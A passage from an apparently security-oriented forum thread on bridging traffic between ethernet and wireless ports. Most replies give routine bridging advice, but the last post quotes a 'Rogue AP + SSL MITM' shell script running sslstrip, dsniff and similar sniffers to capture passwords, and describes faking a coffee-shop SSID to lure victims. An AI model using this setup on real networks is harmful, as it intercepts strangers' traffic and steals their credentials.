Page 2 of 2 FirstFirst 12
Results 11 to 16 of 16

Thread: Redirecting ALL traffic from one ethernet port to another

  1. #11
    Very good friend of the forum killadaninja's Avatar
    Join Date
    Oct 2007
    London, United Kingdom.

    Default Re: Redirecting ALL traffic from one ethernet port to another

    Simple guide If you have not reached it yet.
    Sometimes I try to fit a 16-character string into an 8–byte space, on purpose.

  2. #12
    Junior Member Lucifer's Avatar
    Join Date
    Feb 2010

    Default Re: Redirecting ALL traffic from one ethernet port to another

    Yes and without NAT, just some plain and simple bridging/forwarding between the ethernet ports. My googlufu is kinda letting me down at the moment, but first I'll need to do some testing tomorrow with results I did found.
    It's frustrating how I can't configure something this simple. It proves I've got a lot more to learn about linux.
    But thanks for your quick answers.

    Last edited by Lucifer; 05-06-2010 at 12:38 AM.

  3. #13
    Senior Member streaker69's Avatar
    Join Date
    Jan 2010
    Virginville, BlueBall, Bird In Hand, Intercourse, Paradise, PA

    Default Re: Redirecting ALL traffic from one ethernet port to another

    Just a comment, I didn't do this in Backtrack, nor ubuntu, but did it in FreeBSD 7.2 but the concept is generally the same, even though the commands might be a little different.
    A third party security audit is the IT equivalent of a colonoscopy. It's long, intrusive, very uncomfortable, and when it's done, you'll have seen things you really didn't want to see, and you'll never forget that you've had one.

  4. #14
    Very good friend of the forum Gitsnik's Avatar
    Join Date
    Jan 2010
    The Crystal Wind

    Default Re: Redirecting ALL traffic from one ethernet port to another

    brctl - all you have to do is google "linux bridge ethernet" to come up with useful results. Admittedly the first one is for 2.2.x but the rest are simple enough.

    Or the post three up from this one, also good
    Still not underestimating the power...

    There is no such thing as bad information - There is truth in the data, so you sift it all, even the crap stuff.

  5. #15
    Super Moderator lupin's Avatar
    Join Date
    Jan 2010

    Default Re: Redirecting ALL traffic from one ethernet port to another

    If your purpose in bridging your interfaces is to perform mitm or traffic modification, then Ettercap can be used to create the bridge for you. Check the man page.
    Capitalisation is important. It's the difference between "Helping your brother Jack off a horse" and "Helping your brother jack off a horse".

    The Forum Rules, Forum FAQ and the BackTrack Wiki... learn them, love them, live them.

  6. #16
    Just burned his ISO
    Join Date
    Aug 2010

    Default Re: Redirecting ALL traffic from one ethernet port to another

    Quote Originally Posted by l3g10n View Post
    I've pieced this script together to work on wifi, but you could easily tailor it to work on a wired connection. Let me know if you have any issues.

    Rogue AP + SSL MITM

    LOGDIR="$(date +%F-%H%M)"
    mkdir $LOGDIR
    cd $LOGDIR
    killall -9 dhcpd3 airbase-ng ettercap sslstrip driftnet urlsnarf tail 
    echo 'Launching various tools'
    sslstrip -a -k -f &
    driftnet -v -i at0 &
    xterm  -bg black -fg green -e urlsnarf  -i at0 &
    dsniff -m -i at0 -d -w dsniff$(date +%F-%H%M).log &
    tshark -i at0 -w traffic.pcap &
    echo 'Run "etterlog -p  etterca.log" to view sniffed passwords.'
    First off, sorry for zombifying this thread.

    Ok, so i was really inspired by the Jasager project. I wanted to build one. But i already had this old Linksys wrt54g that got hit by lightning a couple years ago (the Internet in Ethernet port wont work). Its a version 6 so i wont be able to put open-wrt on it, but i think it can still serve its purpose.

    since i don't have the open-wrt i can still set it up with an SSID like "free Internet" or give it the same SSID as the coffee shop, or wherever i demo, and make it enticing for the victim to pick the connection with the stronger signal. Since there is no Internet port, i will have to use the router in router mode and not gateway mode. I have tested this out, if i plug a port from my router with Internet, to my to a port on my "Jasager" router, i get a signal, and Internet flows happily. if i rig Internet to come out of my Ethernet port, it works when i plug a device right in, it gets an IP and all that jazz, but the router does not function.

    let me lay out what i am trying to accomplish visually:

    {coffee shop Internet} ---)) ((--- {my laptop} ------ {FAKE coffee shop Internet} ---)) ((--- {person happily cruising the web}

    I spent hours the past two combing old tutorials and Google and what have you, searching for a way to beam my internet from my wireless card over to my Ethernet port.

    this post above seems to be exactly what i need, only thing is i want to pipe all everything, from my wireless card, over to my Ethernet port. not sure if i need a router or a bridge, thats what brought me here actually, but i understand the frustration, its something so simple that i just cant seem to implement. have asked a few other places the past few days and nobody seems to be able to help.

    In a truly perfect dream scenario, i would like to take the Internet that i get from my wireless card, and pipe that over to the Ethernet port. So if i connect to the Internet and get IP with my wireless card, i want to be able able to run the commands/script and make whatever i plug into the Ethernet have that IP /connection instead.

    oh yeah, forgot to mention, I'm running Ubuntu 10.04.


Page 2 of 2 FirstFirst 12

Similar Threads

  1. mitm with etter cap redirecting to beef
    By crooks in forum OLD BackTrack 4 Software Related Issues
    Replies: 4
    Last Post: 10-24-2009, 05:28 AM
  2. 802.11p - traffic generator
    By TheMrOrange in forum OLD Newbie Area
    Replies: 9
    Last Post: 08-27-2009, 03:26 PM
  3. port scan to find systems without a certain port open?
    By humbleman in forum OLD Newbie Area
    Replies: 3
    Last Post: 07-30-2009, 04:14 PM
  4. Virtual Machine and Ethernet Port
    By J-Poo in forum OLD Latest Public Release - BackTrack4 Beta
    Replies: 2
    Last Post: 05-10-2009, 08:12 AM
  5. Arp poisoning / Redirecting to my own machine?
    By The Dan in forum OLD Specialist Topics
    Replies: 5
    Last Post: 01-08-2009, 11:19 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts